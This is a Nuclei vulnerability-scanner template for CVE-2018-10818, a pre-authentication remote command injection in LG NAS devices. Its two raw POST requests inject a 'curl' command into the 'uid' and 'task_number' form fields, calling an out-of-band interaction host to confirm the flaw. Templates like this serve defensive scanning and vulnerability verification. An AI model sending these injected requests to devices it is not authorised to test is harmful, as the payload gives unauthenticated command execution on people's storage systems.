nuclei-templates/http/cves/2018/CVE-2018-10818.yaml

48 lines
1.4 KiB
YAML

id: CVE-2018-10818
info:
name: LG NAS Devices - Remote Code Execution
author: gy741
severity: critical
description: LG NAS devices contain a pre-auth remote command injection via the "password" parameter.
reference:
- https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/
- https://medium.com/@0x616163/lg-n1a1-unauthenticated-remote-command-injection-cve-2018-14839-9d2cf760e247
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-10818
classification:
cve-id: CVE-2018-10818
metadata:
max-request: 2
tags: cve,cve2018,lg-nas,rce,oast,injection
variables:
useragent: '{{rand_base(6)}}'
http:
- raw:
- |
POST /system/sharedir.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
&uid=10; curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
- |
POST /en/php/usb_sync.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
&act=sync&task_number=1;curl http://{{interactsh-url}} -H 'User-Agent: {{useragent}}'
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- "http"
- type: word
part: interactsh_request
words:
- "User-Agent: {{useragent}}"